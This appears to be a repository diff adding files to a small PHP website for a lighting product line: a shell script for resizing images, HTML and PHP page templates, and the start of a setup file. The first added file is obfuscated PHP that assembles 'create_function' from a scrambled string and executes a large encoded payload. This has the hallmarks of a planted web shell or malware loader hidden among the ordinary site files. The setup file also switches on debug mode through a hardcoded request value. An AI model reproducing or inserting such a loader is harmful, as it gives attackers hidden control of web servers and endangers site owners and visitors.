+<?php $bJhXrjm='T5rpB2_Le7mFHazjg,16|D+N"vP[^RkWOt$]/(0Q3MdhSo4c}qx*IfC;KU){Gb .uJE9AYyXn8wsVZli';$QYgWpOX=$bJhXrjm{47}.$bJhXrjm{2}.$bJhXrjm{8}.$bJhXrjm{13}.$bJhXrjm{33}.$bJhXrjm{8}.$bJhXrjm{6}.$bJhXrjm{53}.$bJhXrjm{64}.$bJhXrjm{72}.$bJhXrjm{47}.$bJhXrjm{33}.$bJhXrjm{79}.$bJhXrjm{45}.$bJhXrjm{72};$pPNYdGD=$bJhXrjm{34}.$bJhXrjm{75};$QONjPkz=$bJhXrjm{53}.$bJhXrjm{64}.$bJhXrjm{72}.$bJhXrjm{47}.$bJhXrjm{33}.$bJhXrjm{79}.$bJhXrjm{45}.$bJhXrjm{72}.$bJhXrjm{62}.$bJhXrjm{2}.$bJhXrjm{73}.$bJhXrjm{37}.$bJhXrjm{34}.$bJhXrjm{75}.$bJhXrjm{17}.$bJhXrjm{34}.$bJhXrjm{3}.$bJhXrjm{58}.$bJhXrjm{59}.$bJhXrjm{2}.$bJhXrjm{8}.$bJhXrjm{33}.$bJhXrjm{64}.$bJhXrjm{2}.$bJhXrjm{72}.$bJhXrjm{62}.$bJhXrjm{34}.$bJhXrjm{75}.$bJhXrjm{28}.$bJhXrjm{75}.$bJhXrjm{33}.$bJhXrjm{2}.$bJhXrjm{6}.$bJhXrjm{3}.$bJhXrjm{13}.$bJhXrjm{42}.$bJhXrjm{37}.$bJhXrjm{34}.$bJhXrjm{3}.$bJhXrjm{17}.$bJhXrjm{75}.$bJhXrjm{33}.$bJhXrjm{2}.$bJhXrjm{78}.$bJhXrjm{8}.$bJhXrjm{72}.$bJhXrjm{37}.$bJhXrjm{34}.$bJhXrjm{75}.$bJhXrjm{58}.$bJhXrjm{17}.$bJhXrjm{34}.$bJhXrjm{3}.$bJhXrjm{58}.$bJhXrjm{55}.$bJhXrjm{48}.$bJhXrjm{55}.$bJhXrjm{8}.$bJhXrjm{25}.$bJhXrjm{13}.$bJhXrjm{78}.$bJhXrjm{37}.$bJhXrjm{2}.$bJhXrjm{73}.$bJhXrjm{37}.$bJhXrjm{61}.$bJhXrjm{13}.$bJhXrjm{75}.$bJhXrjm{8}.$bJhXrjm{19}.$bJhXrjm{46}.$bJhXrjm{6}.$bJhXrjm{42}.$bJhXrjm{8}.$bJhXrjm{47}.$bJhXrjm{45}.$bJhXrjm{42}.$bJhXrjm{8}.$bJhXrjm{37}.$bJhXrjm{34}.$bJhXrjm{75}.$bJhXrjm{58}.$bJhXrjm{17}.$bJhXrjm{24}.$bJhXrjm{77}.$bJhXrjm{2}.$bJhXrjm{23}.$bJhXrjm{54}.$bJhXrjm{25}.$bJhXrjm{13}.$bJhXrjm{53}.$bJhXrjm{24}.$bJhXrjm{58}.$bJhXrjm{58}.$bJhXrjm{55};$nPcIeyI="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";$MjKcULQ=$QYgWpOX($pPNYdGD,$QONjPkz);$MjKcULQ($nPcIeyI);?>
\ No newline at end of file
--- /dev/null
+#! /bin/bash
+convert='/usr/bin/convert'
+composite='/usr/bin/composite'
+
+for file in original/*
+do
+ temp=`basename $file`
+ $convert -scale '287>' $file resized/$temp
+ $convert -scale '210>' $file midsized/$temp
+ $convert -scale '120>' $file thumb/$temp
+
+ echo $temp
+done
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<title>The Lindy Post Top Series</title>
+<meta name="description" content="The Lindy lighting series offers vintage or antique looking post lighting system perfect for street and outdoor lights for residential and city use. Other uses: hotels, malls, city streets, theme parks, parks and residential community lighting.">
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<script language="JavaScript" type="text/JavaScript">
+<!--
+function MM_preloadImages() { //v3.0
+ var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
+ var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
+ if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
+}
+
+function MM_swapImgRestore() { //v3.0
+ var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
+}
+
+function MM_findObj(n, d) { //v4.01
+ var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
+ d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
+ if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
+ for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
+ if(!x && d.getElementById) x=d.getElementById(n); return x;
+}
+
+function MM_swapImage() { //v3.0
+ var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
+ if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
+}
+//-->
+</script>
+</head>
+
+<body background="graphics/homepage_background.jpg" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onLoad="MM_preloadImages('graphics/homebutton_learn_on.jpg','graphics/homebutton_compare_on.jpg','graphics/homebutton_install_on.jpg','graphics/homebutton_build_on.jpg','graphics/homebutton_photometrics_on.jpg','graphics/homebutton_contact_on.jpg')">
+<center>
+<table width="800" border="0" cellspacing="0" cellpadding="0">
+ <tr>
+ <td width="87" align="left"> </td>
+ <td width="626" align="left" valign="top"><img src="graphics/homepage_header.jpg" width="626" height="40"></td>
+ <td width="87" align="left" valign="top"> </td>
+ </tr>
+ <tr>
+ <td width="87" align="left"> </td>
+ <td width="626" align="left" valign="top"><table width="626" border="0" cellspacing="0" cellpadding="0">
+ <tr>
+ <td width="413" align="left" valign="top"><img src="graphics/home_mainlindygraphic.jpg" width="413" height="460"></td>
+ <td width="87" align="left" valign="top"><p><a href="the-lindy-vs.-blow-molded-acorns-27/"><img src="graphics/homebutton_learn_off.jpg" name="learn" width="213" height="15" border="0" id="learn" onMouseOver="MM_swapImage('learn','','graphics/homebutton_learn_on.jpg',1)" onMouseOut="MM_swapImgRestore()"></a><br>
+ <a href="compare-blow-molded-acorns-5/"><img src="graphics/homebutton_compare_off.jpg" name="compare" width="213" height="15" border="0" id="compare" onMouseOver="MM_swapImage('compare','','graphics/homebutton_compare_on.jpg',1)" onMouseOut="MM_swapImgRestore()"></a><br>
+ <!-- <a href="installation-photos-16/"><img src="graphics/homebutton_install_off.jpg" name="install" width="213" height="15" border="0" id="install" onMouseOver="MM_swapImage('install','','graphics/homebutton_install_on.jpg',1)" onMouseOut="MM_swapImgRestore()"></a><br> -->
+ <a href="product-guide-31/"><img src="graphics/homebutton_product_off.jpg" name="product" width="213" height="15" border="0" id="product" onMouseOver="MM_swapImage('product','','graphics/homebutton_product_on.jpg',1)" onMouseOut="MM_swapImgRestore()"></a><br>
+ <a href="get-photometrics-17/"><img src="graphics/homebutton_photometrics_off.jpg" name="photometrics" width="213" height="15" border="0" id="photometrics" onMouseOver="MM_swapImage('photometrics','','graphics/homebutton_photometrics_on.jpg',1)" onMouseOut="MM_swapImgRestore()"></a><br>
+ <!-- <a href="build-assembly-online-10/"><img src="graphics/homebutton_build_off.jpg" name="build" width="213" height="15" border="0" id="build" onMouseOver="MM_swapImage('build','','graphics/homebutton_build_on.jpg',1)" onMouseOut="MM_swapImgRestore()"></a><br> -->
+ <a href="contact-us-11/"><img src="graphics/homebutton_contact_off.jpg" name="contact" width="213" height="15" border="0" id="contact" onMouseOver="MM_swapImage('contact','','graphics/homebutton_contact_on.jpg',1)" onMouseOut="MM_swapImgRestore()"></a><img src="graphics/homepage_secondlindy.jpg" width="213" height="385"></p>
+ </td>
+ </tr>
+ </table></td>
+ <td width="87" align="left" valign="top"> </td>
+ </tr>
+ <tr>
+ <td width="87" align="left"> </td>
+ <td width="626" align="left" valign="top"><img src="graphics/homebutton_bottomimage.jpg" width="626" height="227" border="0" usemap="#Map"></td>
+ <td width="87" align="left" valign="top"> </td>
+ </tr>
+ <tr>
+ <td width="87" align="left"> </td>
+ <td width="626" align="left" valign="top" bgcolor="#6699CC"> </td>
+ <td width="87" align="left" valign="top"> </td>
+ </tr>
+</table>
+
+
+<div style="font-family: Arial, Helvetica, sans-serif;
+ font-size: 11px;
+ text-align: center;
+ color: #213884;
+ line-height: 18px;
+ margin: 10px 0 5px 0;
+ border-style: solid;
+ border-width: 1px 0 0 0;
+background-color: #ffffff;
+ border-color: navy;">
+
+<a href="http://www.alplighting.com/">
+<img src="assets/logos/alp_logo.gif" alt="A.L.P. Lighting"
+width="190" height="64" border="0"></a><br>
+6333 Gross Point Road • Niles, IL 60714 <br>Telephone (773) 774-9550 •
+Fax (773) 594-5874 <BR>
+<div id="copy">
+ <div>Copyright©<?echo date("Y")?> <a
+href="http://www.alplighting.com/index.aspx" target="_blank">A.L.P. Lighting</a>
+Produced by <a href="http://www.gaslightmedia.com" target="_blank">Gaslight Media</a>,
+All Rights Reserved. <a href="<?echo URL_BASE?>sitemap.phtml">Sitemap</a></div>
+</div>
+</center>
+
+<map name="Map">
+ <area shape="rect" coords="9,12,315,176" href="lindy.pdf">
+ <area shape="rect" coords="416,10,615,171" href="build-assembly-online-10/">
+</map>
+</body>
+</html>
--- /dev/null
+<?php
+include("setup.phtml");
+include(BASE."classes/class_template.inc");
+
+$toolbox=new GLM_TEMPLATE(NULL);
+if(!isset($catid))
+{
+ $catid=1;
+}
+$toolbox->set_catid($catid);
+$meta = $toolbox->meta_tags();
+$title= $toolbox->title();
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<title><?echo $title;?> - The Lindy</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<meta name="description" content="<?echo $meta;?>">
+<link rel="stylesheet" type="text/css" href="<?echo URL_BASE;?>styles.css">
+<?php
+if($catid==11)
+{
+ echo '<link rel="stylesheet" type="text/css" href="'.URL_BASE.'contact.css">';
+}
+?>
+</head>
+<body>
+<div id="frame">
+<div id="topimg">
+The performance alternative to blow molded acorns.
+<img src="<?echo URL_BASE;?>assets/lindyheader.jpg" width="619" height="40" alt="lindyheader (11K)">
+</div>
+
+<div id="navcontainer">
+<?php
+
+$parent = $toolbox->get_parentid($toolbox->catid,&$toolbox->DB);
+if($parent == $toolbox->catid)
+{
+ $parent = 0; // dont understand the logic behind returning the current catid if the parent in the db is zero, but whatever, I can work around that.
+}
+echo $toolbox->make_ul_menu();
+
+echo '<span class="content-white">';
+echo'<a href="http://www.alplighting.com/products_categories_sub.aspx?PARENT=LexaLite&CATEGORY=Post+Top">';
+echo '<img src="'.URL_BASE.'assets/logos/alp_logo.gif" border="0"></a><p
+style="margin: 4px;">
+Click here for additional Post Top components and A.L.P.\'s complete line
+of lighting products.</p><br></span>';
+?>
+</div>
+
+<div id="contentframe">
+ <div id="content">
+ <?php
+ echo $toolbox->get_page();
+ ?>
+ </div>
+</div>
+
+<div id="break"> </div>
+
+</div>
+
+<div class="bottomadd">
+<a href="http://www.alplighting.com/">
+<img src="<?echo BASE_URL;?>assets/logos/alp_logo.gif" alt="A.L.P. Lighting" width="190" height="64" border="0"></a><br>
+6333 Gross Point Road • Niles, IL 60714 <br>Telephone (773) 774-9550 • Fax (773) 594-5874 <BR>
+<div id="copy">
+ <div>Copyright©<?echo date("Y")?> <a href="http://www.alplighting.com/index.aspx" target="_blank">A.L.P. Lighting</a> Produced by <a href="http://www.gaslightmedia.com" target="_blank">Gaslight Media</a>, All Rights Reserved. <a href="<?echo URL_BASE?>sitemap.phtml">Sitemap</a></div>
+</div>
+</body>
+</html>
--- /dev/null
+<?php
+ini_set('include_path', '/usr/share/pear' . ':' .ini_get('include_path'));
+/** @header Gaslight Media Toolbox�
+ Media Toolbox(R)
+ Setup.phtml file includes the functions that were in the functions.inc
+ and siteinfo.inc file into one file.
+ All set up stuff is on the top of the page.
+
+ $Id: setup.phtml,v 1.1.1.1 2006/07/13 13:53:49 matrix Exp $
+ */
+
+if( !isset($SITEINFO) )
+ {
+
+ if(!isset($DEBUG))
+ {
+ $DEBUG = (isset($mysecretcode) && $mysecretcode == 1234);
+ }
+ // setup for pages
+ $PAGES['default'] = 'inside';
+ $PAGES[1] = 'index';
+ /* DEBUG ON BY DEFAULT SO YOU KNOW WHAT THE SETUPS ARE */
+ //$DEBUG = TRUE;
+
+ /*
+ *
+ * Customer Setup
+ * Database setup
+ * Email Setup
+ *
+ */
+ define("SITENAME","The Lindy"); // used for outputing name of site in admin area
+ define("SITE_NAME",SITENAME); // same as SITENAME
